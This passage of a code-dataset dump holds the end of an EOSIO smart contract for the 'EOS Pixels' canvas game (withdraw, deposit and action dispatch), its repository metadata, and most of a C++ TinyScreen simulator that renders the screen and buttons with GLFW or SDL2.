eosio_assert(c.isEnded(), \"canvas still has time left\");\n\n  // reclaim memory\n  canvases.erase(itr);\n\n  // create new canvas\n  canvases.emplace(_self, [&](canvas &newCanvas) {\n    newCanvas.id = c.id + 1;\n    newCanvas.lastPaintedAt = now();\n    newCanvas.duration = CANVAS_DURATION;\n  });\n}\n\nvoid eospixels::refreshLastPaintedAt() {\n  auto itr = canvases.begin();\n  eosio_assert(itr != canvases.end(), \"no canvas exists\");\n\n  canvases.modify(itr, 0,\n                  [&](canvas &newCanvas) { newCanvas.lastPaintedAt = now(); });\n}\n\nvoid eospixels::refresh() {\n  require_auth(TEAM_ACCOUNT);\n\n  refreshLastPaintedAt();\n}\n\nvoid eospixels::changedur(time duration) {\n  require_auth(TEAM_ACCOUNT);\n\n  auto itr = canvases.begin();\n  eosio_assert(itr != canvases.end(), \"no canvas exists\");\n\n  canvases.modify(itr, 0,\n                  [&](canvas &newCanvas) { newCanvas.duration = duration; });\n}\n\nvoid eospixels::createacct(const account_name account) {\n  require_auth(account);\n\n  auto itr = accounts.find(account);\n  eosio_assert(itr == accounts.end(), \"account already exist\");\n\n  accounts.emplace(account, [&](auto &acct) { acct.owner = account; });\n}\n\nvoid eospixels::init() {\n  require_auth(_self);\n  // make sure table records is empty\n  eosio_assert(canvases.begin() == canvases.end(), \"already initialized\");\n\n  canvases.emplace(_self, [&](canvas &newCanvas) {\n    newCanvas.id = 0;\n    newCanvas.lastPaintedAt = now();\n    newCanvas.duration = CANVAS_DURATION;\n  });\n}\n\n\n\nvoid eospixels::withdraw(const account_name to) {\n  require_auth(to);\n\n  auto canvasItr = canvases.begin();\n  eosio_assert(canvasItr != canvases.end(), \"no canvas exists\");\n\n  auto canvas = *canvasItr;\n  eosio_assert(canvas.pixelsDrawn >= WITHDRAW_PIXELS_THRESHOLD,\n               \"canvas still in game initialization\");\n\n  auto acctItr = accounts.find(to);\n  eosio_assert(acctItr != accounts.end(), \"unknown account\");\n\n  auto guardItr = guards.begin();\n  eosio_assert(guardItr != guards.end(), \"no withdraw guard exists\");\n\n  auto player = *acctItr;\n  auto grd = *guardItr;\n\n  uint64_t withdrawAmount = calculateWithdrawalAndUpdate(canvas, player, grd);\n\n  guards.modify(guardItr, 0, [&](guard &g) { g.quota = grd.quota; });\n\n  accounts.modify(acctItr, 0, [&](account &acct) {\n    acct.balanceScaled = player.balanceScaled;\n    acct.maskScaled = player.maskScaled;\n  });\n\n  auto quantity = asset(withdrawAmount, EOS_SYMBOL);\n  action(permission_level{_self, N(active)}, N(eosio.token), N(transfer),\n         std::make_tuple(_self, to, quantity,\n                         std::string(\"Withdraw from EOS Pixels\")))\n      .send();\n}\n\nvoid eospixels::deposit(const account_name user,\n                        const uint128_t quantityScaled) {\n  eosio_assert(quantityScaled > 0, \"must deposit positive quantity\");\n\n  auto itr = accounts.find(user);\n\n  accounts.modify(itr, 0,\n                  [&](auto &acct) { acct.balanceScaled += quantityScaled; });\n}\n\nvoid eospixels::apply(account_name contract, action_name act) {\n  if (contract == N(eosio.token) && act == N(transfer)) {\n    // React to transfer notification.\n    // DANGER: All methods MUST check whethe token symbol is acceptable.\n\n    auto transfer = unpack_action_data<currency::transfer>();\n    eosio_assert(transfer.quantity.symbol == EOS_SYMBOL,\n                 \"must pay with EOS token\");\n     \n    onTransfer(transfer);\n    return;\n  }\n\n  if (contract != _self) return;\n\n  // needed for EOSIO_API macro\n  auto &thiscontract = *this;\n  switch (act) {\n    // first argument is name of CPP class, not contract\n    EOSIO_API(eospixels, (init)(refresh)(changedur)(end)(createacct)(withdraw)(\n                             clearpixels)(clearaccts)(clearcanvs)(resetquota))\n  };\n}\n\nextern \"C\" {\n[[noreturn]] void apply(uint64_t receiver, uint64_t code, uint64_t action) {\n  eospixels pixels(receiver);\n  pixels.apply(code, action);\n  eosio_exit(0);\n}\n}\n", "meta": {"hexsha": "d5874e941c313f384f8b3adeb06a46525310643f", "size": 12573, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "contracts/EOSPixels/EOSPixels.cpp", "max_stars_repo_name": "alubame001/eospixels", "max_stars_repo_head_hexsha": "62513b29efa48636ef612b8f0dbf286b2dd8adb4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "contracts/EOSPixels/EOSPixels.cpp", "max_issues_repo_name": "alubame001/eospixels", "max_issues_repo_head_hexsha": "62513b29efa48636ef612b8f0dbf286b2dd8adb4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "contracts/EOSPixels/EOSPixels.cpp", "max_forks_repo_name": "alubame001/eospixels", "max_forks_repo_head_hexsha": "62513b29efa48636ef612b8f0dbf286b2dd8adb4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.5835294118, "max_line_length": 110, "alphanum_fraction": 0.6368408494, "num_tokens": 4024, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.27512972382317524, "lm_q1q2_score": 0.13971413797326926}}
{"text": "/*\n * This file was quickly hacked together to provide simple graphics output and\n * button controls for simulating a TinyScreen. It's really bad quality but does\n * its job: Providing an environment with visual output for compiling code that\n * runs on the TinyScreen+ in a similar way.\n */\n\n#ifdef SDL2LIB\n#include <SDL.h>\n#else\n#include <GLFW/glfw3.h>\n#include <GL/gl.h>\n#endif\n#include <stdlib.h>\n#include <stdio.h>\n#include <getopt.h>\n#include <TinyScreen.h>\n#include <SPI.h>\n#include <Wire.h>\n#include <stdio.h>\n#include <sys/time.h>\n\n#ifdef PNGSAVE\n#define png_infopp_NULL (png_infopp)NULL\n#define int_p_NULL (int*)NULL\n#include <boost/gil/gil_all.hpp>\n#include <boost/gil/extension/io/png_dynamic_io.hpp>\n#endif\n\n#define TINYSCREEN_WIDTH 96\n#define TINYSCREEN_HEIGHT 64\n\n\n#define SCREEN_TEXTURE_SIZE 128\n#define SCREEN_UMAX (96.0f / (float)SCREEN_TEXTURE_SIZE)\n#define SCREEN_VMAX (64.0f / (float)SCREEN_TEXTURE_SIZE)\n\n#define SCREEN_Y 64\n#define SCREEN_X 96\n\n#define KEYBIT_UP 0x01\n#define KEYBIT_DOWN 0x02\n#define KEYBIT_LEFT 0x04\n#define KEYBIT_RIGHT 0x08\n#define KEYBIT_BUTTON1 0x10\n#define KEYBIT_BUTTON2 0x20\n\n#define TinyArcadePinX 42\n#define TinyArcadePinY 1\n#define TinyArcadePin1 45\n#define TinyArcadePin2 44\n\nSerialX Serial;\nTwoWire Wire;\n#ifdef SDL2LIB\nunsigned int controls = 0;\n#endif\n\nvoid delay(int msec)\n{\n    struct timespec val;\n    struct timespec rem;\n    val.tv_sec = msec / 1000;\n    val.tv_nsec = msec % 1000 * 1000000L;\n    rem.tv_sec = 0;\n    rem.tv_nsec = 0;\n    nanosleep(&val, &rem);\n}\n\n#include <boost/random/linear_congruential.hpp>\n#include <boost/random/uniform_int.hpp>\n#include <boost/random/uniform_real.hpp>\n#include <boost/random/variate_generator.hpp>\n\ntypedef boost::minstd_rand base_generator_type;\n#include <ctime>\n\nstatic base_generator_type generator(42u);\n\nvoid randomSeed(int seed)\n{\n generator.seed(static_cast<unsigned int>(std::time(0)));\n}\n\nint random(int min, int max)\n{\n boost::uniform_int<> ran_dist(min, max - 1);\n boost::variate_generator<base_generator_type&, boost::uniform_int<> > ran(generator, ran_dist);\n return ran();\n/*    int x = random();\n    x = x % (max - min);\n    return x + min;*/\n}\n\ntypedef struct {\n    unsigned char screenData[SCREEN_TEXTURE_SIZE*SCREEN_TEXTURE_SIZE * 3];\n    unsigned char rawFrameBuffer[TINYSCREEN_WIDTH * TINYSCREEN_HEIGHT * 2];\n    unsigned char x,y;\n    bool is16bit;\n    bool isRecordingTSV;\n#ifdef SDL2LIB\n    SDL_Window *window;\n    SDL_Renderer *mainRenderer;\n    SDL_Texture *mainTexture;\n    SDL_Surface *mainScreen;\n    SDL_Rect *rect;\n    int mult;\n#else\n    GLuint screenTexture;\n    GLFWwindow* window;\n#endif\n    FILE *tsvFP;\n} Emulator;\n\nEmulator emulator;\n\nstatic void writeFrameBufferToTSV() {\n    if (emulator.isRecordingTSV && emulator.tsvFP) {\n        printf(\"Writing framebuffer to tsv\\n\");\n        fwrite(emulator.rawFrameBuffer,1,sizeof(emulator.rawFrameBuffer),emulator.tsvFP);\n    }\n}\n\nstatic void updateScreen() {\n#ifdef SDL2LIB\n    SDL_UpdateTexture(emulator.mainTexture, emulator.rect, emulator.mainScreen->pixels, emulator.mainScreen->pitch);\n    SDL_RenderClear(emulator.mainRenderer);\n    SDL_RenderCopy(emulator.mainRenderer, emulator.mainTexture, NULL, NULL);\n    SDL_RenderPresent(emulator.mainRenderer);\n#else\n    glBindTexture(GL_TEXTURE_2D, emulator.screenTexture);\n    glTexImage2D(GL_TEXTURE_2D, 0,GL_RGB, SCREEN_TEXTURE_SIZE, SCREEN_TEXTURE_SIZE, 0,\n                 GL_RGB, GL_UNSIGNED_BYTE, emulator.screenData);\n#endif\n}\n\nvoid TwoWire::requestFrom(byte address, int quantity)\n{\n#ifdef SDL2LIB\n    where = 0;\n    int RXY = 511;\n    data[0] = RXY >> 2;\n    data[1] = RXY >> 2;\n    int LX = ((controls & KEYBIT_RIGHT) ? -511 : 0) + ((controls & KEYBIT_LEFT) ? 511 : 0)+511;\n    data[2] = LX >> 2;\n    int LY = ((controls & KEYBIT_UP) ? 511 : 0) + ((controls & KEYBIT_DOWN) ? -511 : 0)+511;\n    data[3] = LY >> 2;\n    data[4] = ((((((LX & 3) << 2) | (LY & 3)) << 2) | (RXY & 3)) << 2) | (RXY & 3);\n    data[5] = ((controls & KEYBIT_BUTTON1) ? 0 : 4) | ((controls & KEYBIT_BUTTON2) ? 0 : 8);\n#else\n    GLFWwindow* window = emulator.window;\n    where = 0;\n    int RXY = 511;\n    data[0] = RXY >> 2;\n    data[1] = RXY >> 2;\n    int LX = (glfwGetKey(window, GLFW_KEY_RIGHT) ? -511 : 0) + (glfwGetKey(window, GLFW_KEY_LEFT) ? 511 : 0)+511;\n    data[2] = LX >> 2;\n    int LY = (glfwGetKey(window, GLFW_KEY_UP) ? 511 : 0) + (glfwGetKey(window, GLFW_KEY_DOWN) ? -511 : 0)+511;\n    data[3] = LY >> 2;\n    data[4] = ((((((LX & 3) << 2) | (LY & 3)) << 2) | (RXY & 3)) << 2) | (RXY & 3);\n    data[5] = (glfwGetKey(window, GLFW_KEY_G) ? 0 : 4) | (glfwGetKey(window, GLFW_KEY_H) ? 0 : 8);\n#endif\n}\n\nint digitalRead(int pin) {\n#ifndef SDL2LIB\n    GLFWwindow* window = emulator.window;\n    switch (pin) {\n        case 4: case TinyArcadePin1: return (glfwGetKey(window, GLFW_KEY_G) ? 0 : 1);\n        case 5: case TinyArcadePin2: return (glfwGetKey(window, GLFW_KEY_H) ? 0 : 1);\n        default: return 0;\n    }\n#endif\n    return 0;\n}\n\nint analogWrite(int pin, int val) {\n return 0;\n}\n\nint analogRead(int pin) {\n #ifndef SDL2LIB\n    GLFWwindow* window = emulator.window;\n    switch (pin) {\n        case 2: case TinyArcadePinX: return (glfwGetKey(window, GLFW_KEY_RIGHT) ? -511 : 0) + (glfwGetKey(window, GLFW_KEY_LEFT) ? 511 : 0)+511;\n        case 3: case TinyArcadePinY: return (glfwGetKey(window, GLFW_KEY_UP) ? -511 : 0) + (glfwGetKey(window, GLFW_KEY_DOWN) ? 511 : 0)+511;\n        default: return 0;\n    }\n#endif\n    return 0;\n}\n\nvoid setup();\n\nvoid loop();\n\n#ifndef SDL2LIB\nstatic void drawCircle(float x, float y, float radius, int div) {\n    glBegin(GL_TRIANGLE_FAN);\n    glVertex2f(x, y);\n    for (int i=0;i<=div;i+=1) {\n        float ang = (float)i/(float)div * 3.141593f * 2.0f;\n        float px = sinf(ang) * radius;\n        float py = cosf(ang) * radius;\n        glVertex2f(px+x,py+y);\n    }\n    glEnd();\n}\n\nstatic void drawG(float x, float y, float size) {\n    glBegin(GL_QUADS);\n    glVertex2f(x, y + size);\n    glVertex2f(x + size, y + size);\n    glVertex2f(x + size, y + size - size/8);\n    glVertex2f(x, y + size - size/8);\n    glVertex2f(x + size - size/8, y + size);\n    glVertex2f(x + size, y + size);\n    glVertex2f(x + size, y + size - size/4);\n    glVertex2f(x + size - size/8, y + size - size/4);\n    glVertex2f(x, y);\n    glVertex2f(x, y + size);\n    glVertex2f(x + size/8, y + size);\n    glVertex2f(x + size/8, y);\n    glVertex2f(x, y);\n    glVertex2f(x + size, y);\n    glVertex2f(x + size, y + size/8);\n    glVertex2f(x, y + size/8);\n    glVertex2f(x + size, y);\n    glVertex2f(x + size, y + size/2 + size/16);\n    glVertex2f(x + size - size/8, y + size/2 + size/16);\n    glVertex2f(x + size - size/8, y);\n    glVertex2f(x + size/2, y + size/2 + size/16);\n    glVertex2f(x + size/2, y + size/2 - size/16);\n    glVertex2f(x + size, y + size/2 - size/16);\n    glVertex2f(x + size, y + size/2 + size/16);\n    glEnd();\n}\n\nstatic void drawH(float x, float y, float size) {\n    glBegin(GL_QUADS);\n    glVertex2f(x, y);\n    glVertex2f(x, y + size);\n    glVertex2f(x + size/8, y + size);\n    glVertex2f(x + size/8, y);\n    glVertex2f(x + size, y);\n    glVertex2f(x + size, y + size);\n    glVertex2f(x + size - size/8, y + size);\n    glVertex2f(x + size - size/8, y);\n    glVertex2f(x + size/8, y + size/2 + size/16);\n    glVertex2f(x + size - size/8, y + size/2 + size/16);\n    glVertex2f(x + size - size/8, y + size/2 - size/16);\n    glVertex2f(x + size/8, y + size/2 - size/16);\n    glEnd();\n}\n#endif\n\nvoid TinyScreen::startData(void) {\n#ifdef SDL2LIB\n    SDL_LockSurface(emulator.mainScreen);\n#endif\n}\nvoid TinyScreen::startCommand(void) {}\nvoid TinyScreen::endTransfer(void) {\n#ifdef SDL2LIB\n    SDL_UnlockSurface(emulator.mainScreen);\n#endif\n    updateScreen();\n#ifndef SDL2LIB\n    GLFWwindow* window = emulator.window;\n    float ratio;\n    int width, height;\n    glfwGetFramebufferSize(window, &width, &height);\n    ratio = width / (float) height;\n    glViewport(0, 0, width, height);\n    glClear(GL_COLOR_BUFFER_BIT);\n    glClearColor(0.25f,0.25f,0.5f,0.0f);\n    glMatrixMode(GL_PROJECTION);\n    glLoadIdentity();\n    glOrtho(-ratio, ratio, -1.f, 1.f, 1.f, -1.f);\n    glMatrixMode(GL_MODELVIEW);\n    glLoadIdentity();\n   // glRotatef((float) glfwGetTime() * 50.f, 0.f, 0.f, 1.f);\n    /*glBegin(GL_TRIANGLES);\n    glColor3f(1.f, 0.f, 0.f);\n    glVertex3f(-0.6f, -0.4f, 0.f);\n    glColor3f(0.f, 1.f, 0.f);\n    glVertex3f(0.6f, -0.4f, 0.f);\n    glColor3f(0.f, 0.f, 1.f);\n    glVertex3f(0.f, 0.6f, 0.f);\n    glEnd();*/\n    glDisable(GL_TEXTURE_2D);\n    glBindTexture(GL_TEXTURE_2D, emulator.screenTexture);\n    float scale = ratio > 1.3f ? 2.25f : (2.25f/1.3f) * ratio;\n\n    glScalef(scale,scale,scale);\n    glTranslatef(-0.48f, -0.12f,0);\n\n    glColor3f(.0f,.0f,0.f);\n    drawCircle(.15f,-.25f,.18f,16);\n    glColor3f(.8f,.8f,0.8f);\n    float stickX = -(float)analogRead(2) / 1023.f + .5f;\n    float stickY = -(float)analogRead(3) / 1023.f + .5f;\n    drawCircle(.15f + stickX*.15f,-.25f + stickY * .15f,.10f,12);\n\n\n\n    glColor3f(.0f,.0f,0.f);\n    drawCircle(.6f,-.325f,.075f,12);\n    drawCircle(.8f,-.225f,.075f,12);\n    glColor3f(.8f,.2f,0.f);\n    float buttonY = !digitalRead(4) ? -.32f : -.3f;\n    drawCircle(.6f,buttonY,.075f,12);\n    glColor3f(.0f,.0f,0.f);\n    drawG(.6f - .0375f, buttonY - .0375f, .075f);\n    glColor3f(.8f,.2f,0.f);\n    buttonY = !digitalRead(5) ? -.22f : -.2f;\n    drawCircle(.8f,buttonY,.075f,12);\n    glColor3f(.0f,.0f,0.f);\n    drawH(.8f - .0375f, buttonY - .0375f, .075f);\n    glColor3f(.8f,.2f,0.f);\n    int buttons = getButtons();\n    glBegin(GL_QUADS);\n    // bottom left\n    float buttonX = buttons & 1 ? -.05f : -.075f;\n    glVertex2f(buttonX, .2f);\n    glVertex2f(buttonX, .1f);\n    glVertex2f(.1f, .1f);\n    glVertex2f(.1f, .2f);\n    glEnd();\n\n    buttonX = (buttons & 2) ? -.05f : -.075f;\n    glColor3f(.8f,.2f,0.f);\n    glBegin(GL_QUADS);\n    glVertex2f(buttonX, .54f);\n    glVertex2f(buttonX, .44f);\n    glVertex2f(.1f, .44f);\n    glVertex2f(.1f, .54f);\n    glEnd();\n    glColor3f(.8f,.2f,0.f);\n    buttonX = (buttons & 4) ? 1.01f : 1.035f;\n    glBegin(GL_QUADS);\n    glVertex2f(.5f, .54f);\n    glVertex2f(.5f, .44f);\n    glVertex2f(buttonX, .44f);\n    glVertex2f(buttonX, .54f);\n    glEnd();\n    buttonX = (buttons & 8) ? 1.01f : 1.035f;\n    glBegin(GL_QUADS);\n    glVertex2f(.5f, .2f);\n    glVertex2f(.5f, .1f);\n    glVertex2f(buttonX, .1f);\n    glVertex2f(buttonX, .2f);\n    glEnd();\n\n\n    float margin = .02f;\n    glColor3f(0,0,0);\n    glBegin(GL_QUADS);\n    glVertex3f(-margin, -margin, 0);\n    glVertex3f(-margin, 0.64f+margin, 0);\n    glVertex3f(0.96f+margin, 0.64f+margin, 0);\n    glVertex3f(0.96f+margin, -margin, 0);\n    glEnd();\n\n\n\n    glEnable(GL_TEXTURE_2D);\n    glColor3f(1,1,1);\n    glBegin(GL_QUADS);\n    glTexCoord2f(0, SCREEN_VMAX); glVertex3f(0, 0, 0);\n    glTexCoord2f(0, 0); glVertex3f(0, 0.64f, 0);\n    glTexCoord2f(SCREEN_UMAX, 0); glVertex3f(0.96f, 0.64f, 0);\n    glTexCoord2f(SCREEN_UMAX, SCREEN_VMAX); glVertex3f(0.96f, 0, 0);\n    glEnd();\n\n    if (emulator.isRecordingTSV) {\n        writeFrameBufferToTSV();\n    }\n\n    glfwSwapBuffers(window);\n    glfwPollEvents();\n\n    if (glfwWindowShouldClose(window)) {\n        if (emulator.tsvFP) {\n            fclose(emulator.tsvFP);\n            emulator.tsvFP = 0;\n        }\n        glfwDestroyWindow(window);\n        glfwTerminate();\n        exit(EXIT_SUCCESS);\n    }\n#endif\n}\nvoid TinyScreen::begin(void) {}\nvoid TinyScreen::begin(uint8_t) {}\nvoid TinyScreen::on(void) {}\nvoid TinyScreen::off(void) {}\nvoid TinyScreen::setFlip(uint8_t) {}\nvoid TinyScreen::setMirror(uint8_t) {}\nvoid TinyScreen::setBitDepth(uint8_t is16bit) {\n    emulator.is16bit = (is16bit & TSBitDepth16) ? true : false;\n}\nvoid TinyScreen::setBrightness(uint8_t) {}\nvoid TinyScreen::setWindowTitle(const char *title)\n{\n#ifndef SDL2LIB\n    glfwSetWindowTitle(emulator.window, title);\n#endif\n}\n//void TinyScreen::writeRemap(void) {}\n//accelerated drawing commands\nvoid TinyScreen::drawPixel(uint8_t, uint8_t, uint16_t) {}\nvoid TinyScreen::drawLine(uint8_t, uint8_t, uint8_t, uint8_t, uint8_t) {}\nvoid TinyScreen::drawLine(uint8_t, uint8_t, uint8_t, uint8_t, uint8_t, uint8_t, uint8_t) {}\nvoid TinyScreen::drawRect(uint8_t, uint8_t, uint8_t, uint8_t, uint8_t, uint8_t) {}\nvoid TinyScreen::drawRect(uint8_t, uint8_t, uint8_t, uint8_t, uint8_t, uint8_t, uint8_t, uint8_t) {}\nvoid TinyScreen::clearWindow(uint8_t, uint8_t, uint8_t, uint8_t) {}\n//basic graphics commands\nvoid TinyScreen::writePixel(uint16_t) {\n}\nvoid TinyScreen::writeBuffer(uint8_t *rgb, int num) {\n    if (num > TINYSCREEN_WIDTH * (emulator.is16bit ? 2 : 1)) {\n        printf(\"line too long: %d\\n\",num);\n    }\n    //uint16_t *rgb565_16 = (uint16_t*)&rgb565[0];\n    int idx = emulator.x + emulator.y * SCREEN_TEXTURE_SIZE;\n    int bufferIdx = (emulator.x + emulator.y * TINYSCREEN_WIDTH) * 2;\n#ifdef SDL2LIB\n    Uint8 *pixels = (Uint8*)emulator.mainScreen->pixels;\n#endif\n    uint8_t *rgb565 = rgb;\n    for (int i=0;i<num; i+=1) {\n        uint8_t r,g,b;\n        if (emulator.is16bit) {\n            uint16_t word = 0;\n            word = rgb565[i]<<8 | rgb565[i+1];\n            r = word & 31;\n            g = (word >> 5) & 63;\n            b = word >> 11;\n\n            r = (r << 3 | r >> 2);\n            g = (g << 2 | g >> 4);\n            b = (b << 3 | b >> 2);\n            emulator.rawFrameBuffer[bufferIdx++ % sizeof(emulator.rawFrameBuffer)] = rgb565[i];\n            emulator.rawFrameBuffer[bufferIdx++ % sizeof(emulator.rawFrameBuffer)] = rgb565[i+1];\n            i+=1;\n        } else {\n            uint8_t rgb233 = rgb[i];\n            r = rgb233 & 3;\n            r = (r << 6) | (r << 4) | (r << 2) | r;\n            g = (rgb233 >> 2) & 7;\n            g = g << 5 | g << 2 | g >> 1;\n            b = rgb233 >> 5 & 7;\n            b = b << 5 | b << 2 | b >> 1;\n            uint16_t word = 0;\n            word |= (((uint16_t)r) & 0x00F8) >> 3;\n            word |= (((uint16_t)g) & 0x00FC) << 2;\n            word |= (((uint16_t)b) & 0x00F8) << 8;\n            emulator.rawFrameBuffer[bufferIdx++ % sizeof(emulator.rawFrameBuffer)] = word >> 8;\n            emulator.rawFrameBuffer[bufferIdx++ % sizeof(emulator.rawFrameBuffer)] = word & 0x00FF;\n        }\n        // my gif screencsat program doesn't like 00ff00\n        if (r == 0 && g >= 250 && b == 0) g = 250;\n        emulator.screenData[idx*3+0] = r;\n        emulator.screenData[idx*3+1] = g;\n        emulator.screenData[idx*3+2] = b;\n#ifdef SDL2LIB\n        int startIdx = ((emulator.x + ((i / (emulator.is16bit ? 2 : 1)) % TINYSCREEN_WIDTH) + emulator.y * TINYSCREEN_WIDTH * emulator.mult) * emulator.mult) * 4;\n        for (int yMod = 0; yMod < emulator.mult; yMod++)\n        {\n         for (int xMod = 0; xMod < emulator.mult; xMod++)\n         {\n          pixels[startIdx + xMod * 4] = b;\n          pixels[startIdx + xMod * 4 + 1] = g;\n          pixels[startIdx + xMod * 4 + 2] = r;\n          pixels[startIdx + xMod * 4 + 3] = 255;\n         }\n         startIdx += TINYSCREEN_WIDTH * emulator.mult * 4;\n        }\n#endif\n        if (idx % SCREEN_TEXTURE_SIZE == TINYSCREEN_WIDTH-1) {\n            idx = emulator.x + (++emulator.y) * SCREEN_TEXTURE_SIZE;//SCREEN_TEXTURE_SIZE - TINYSCREEN_WIDTH + 1;\n        } else {\n            idx += 1;\n        }\n    }\n    //emulator.y+=1;\n}\n/*void TinyScreen::setX(uint8_t, uint8_t);\nvoid TinyScreen::setY(uint8_t, uint8_t);*/\nvoid TinyScreen::goTo(uint8_t x, uint8_t y) {\n    emulator.x = x;\n    emulator.y = y;\n}\n\n//I2C GPIO related\nuint8_t TinyScreen::getButtons(void) {\n#ifdef SDL2LIB\n    return 0;\n#else\n    GLFWwindow* window = emulator.window;\n    int tr = (glfwGetKey(window, GLFW_KEY_E) == GLFW_PRESS);\n    int br = (glfwGetKey(window, GLFW_KEY_D) == GLFW_PRESS);\n    int tl = (glfwGetKey(window, GLFW_KEY_W) == GLFW_PRESS);\n    int bl = (glfwGetKey(window, GLFW_KEY_S) == GLFW_PRESS);\n    return tl << 1 | bl | tr << 2 | br << 3;\n#endif\n}\n/*void TinyScreen::writeGPIO(uint8_t, uint8_t);*/\n//font\nvoid TinyScreen::setFont(const FONT_INFO&) {}\nvoid TinyScreen::setCursor(uint8_t, uint8_t) {}\nvoid TinyScreen::fontColor(uint8_t, uint8_t) {}\nsize_t TinyScreen::write(uint8_t) { return 0; }\n\n\nstatic void init() {\n\n    for (int x=0;x<TINYSCREEN_WIDTH;x+=1) {\n        for (int y=0;y<TINYSCREEN_HEIGHT;y+=1) {\n            int idx = (x + y * SCREEN_TEXTURE_SIZE) * 3;\n            emulator.screenData[idx] = x * 255 / TINYSCREEN_WIDTH;\n            emulator.screenData[idx + 1] = y * 255 / TINYSCREEN_HEIGHT;\n        }\n    }\n\n#ifndef SDL2LIB\n    glGenTextures(1, &emulator.screenTexture);\n#endif\n    updateScreen();\n#ifndef SDL2LIB\n    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n#endif\n}\n\nunsigned long millis() {\n    struct timeval ret;\n    gettimeofday(&ret, NULL);\n    return ret.tv_sec * 1000 + ret.tv_usec / 1000;\n}\n\nstatic void error_callback(int /*error*/, const char* description)\n{\n    fputs(description, stderr);\n}\n\n#ifndef SDL2LIB\nstatic void key_callback(GLFWwindow* window, int key, int /*scancode*/, int action, int /*mods*/)\n{\n    if (key == GLFW_KEY_ESCAPE && action == GLFW_PRESS)\n        glfwSetWindowShouldClose(window, GL_TRUE);\n    if (key == GLFW_KEY_R && action == GLFW_RELEASE) {\n        emulator.isRecordingTSV = !emulator.isRecordingTSV;\n        if (emulator.isRecordingTSV) {\n            char filename[128];\n            sprintf(filename,\"rec-%s.tsv\",\"test\");\n            printf(\"Starting recording to %s\\n\", filename);\n            emulator.tsvFP = fopen(filename, \"wb\");\n        } else {\n            printf(\"Recording finished\\n\");\n            if (emulator.tsvFP) {\n                fclose(emulator.tsvFP);\n                emulator.tsvFP = 0;\n            }\n        }\n    }\n#ifdef PNGSAVE\n    if (key == GLFW_KEY_P && action == GLFW_RELEASE) {\n        boost::gil::rgb8_image_t img(TINYSCREEN_WIDTH, TINYSCREEN_HEIGHT);\n        for (int y = 0; y < TINYSCREEN_HEIGHT; y++)\n        {\n            for (int x = 0; x < TINYSCREEN_WIDTH; x++)\n            {\n                int indx = (x + y * SCREEN_TEXTURE_SIZE) * 3;\n                boost::gil::rgb8_pixel_t p(emulator.screenData[indx], emulator.screenData[indx + 1], emulator.screenData[indx + 2]);\n                *(view(img).at(x, y)) = p;\n            }\n        }\n        boost::gil::png_write_view(\"screenshot.png\", const_view(img));\n    }\n#endif\n}\n#endif\n\nint main(int argc, char *argv[])\n{\n    bool full = false;\n    bool softRender = false;\n    int opt;\n    static struct option long_options[] =\n    {\n        {\"multiplier\", 1, 0, 'u'},\n        {0, 0, 0, 0}\n    };\n#ifdef SDL2LIB\n    int screenX, screenY;\n    emulator.mult = 4;\n    emulator.rect = NULL;\n    screenX = SCREEN_X * emulator.mult;\n    screenY = SCREEN_Y * emulator.mult;\n#endif\n    while ((opt = getopt_long(argc,argv,\"pu:fw\", long_options, NULL)) != -1)\n    {\n        switch (opt)\n        {\n#ifdef SDL2LIB\n            case 'p':\n                emulator.rect = new SDL_Rect;\n                emulator.rect->x = 48;\n                emulator.rect->y = 8;\n                emulator.rect->w = 384;\n                emulator.rect->h = 256;\n                emulator.mult = 4;\n                softRender = true;\n                screenX = 480;\n                screenY = 272;\n                full = true;\n                break;\n            case 'u':\n                if (optarg)\n                {\n                    emulator.mult = atol(optarg);\n                    screenX = SCREEN_X * emulator.mult;\n                    screenY = SCREEN_Y * emulator.mult;\n                }\n                break;\n#endif\n            case 'f':\n                full = true;\n                break;\n            case 'w':\n                softRender = true;\n                break;\n            default:\n                break;\n        }\n    }\n#ifdef SDL2LIB\n    if (SDL_Init(SDL_INIT_VIDEO | SDL_INIT_TIMER | SDL_INIT_AUDIO) < 0)\n    {\n        printf(\"Failed - SDL_Init\\n\");\n        exit(0);\n    }\n    SDL_Window* window;\n    window = SDL_CreateWindow(\"TinyScreen Simulator\",\n                              SDL_WINDOWPOS_UNDEFINED,\n                              SDL_WINDOWPOS_UNDEFINED,\n                              screenX,\n                              screenY,\n                              (full ? SDL_WINDOW_FULLSCREEN_DESKTOP : 0));\n    emulator.window = window;\n    if (window == NULL)\n    {\n        printf(\"Failed - SDL_CreateWindow\\n\");\n        exit(0);\n    }\n\n    emulator.mainRenderer = SDL_CreateRenderer(emulator.window, -1, (softRender ? SDL_RENDERER_SOFTWARE : 0));\n    if (emulator.mainRenderer == NULL)\n    {\n        printf(\"Failed - SDL_CreateRenderer\\n\");\n        exit(0);\n    }\n    emulator.mainTexture = SDL_CreateTexture(emulator.mainRenderer,\n                                SDL_PIXELFORMAT_ARGB8888,\n                                SDL_TEXTUREACCESS_STREAMING,\n                                screenX,\n                                screenY);\n    if (emulator.mainTexture == NULL)\n    {\n        printf(\"Failed - SDL_CreateTexture\\n\");\n        exit(0);\n    }\n    emulator.mainScreen = SDL_CreateRGBSurface(0, SCREEN_X * emulator.mult, SCREEN_Y * emulator.mult, 32,\n                                           0x00FF0000,\n                                           0x0000FF00,\n                                           0x000000FF,\n                                           0xFF000000);\n    if (emulator.mainScreen == NULL)\n    {\n        printf(\"Failed - SDL_CreateRGBSurface\\n\");\n        exit(0);\n    }\n#else\n    GLFWwindow* window;\n    glfwSetErrorCallback(error_callback);\n    if (!glfwInit())\n        exit(EXIT_FAILURE);\n    window = glfwCreateWindow(420, 420, \"TinyScreen Simulator\", NULL, NULL);\n    emulator.window = window;\n    if (!window)\n    {\n        glfwTerminate();\n        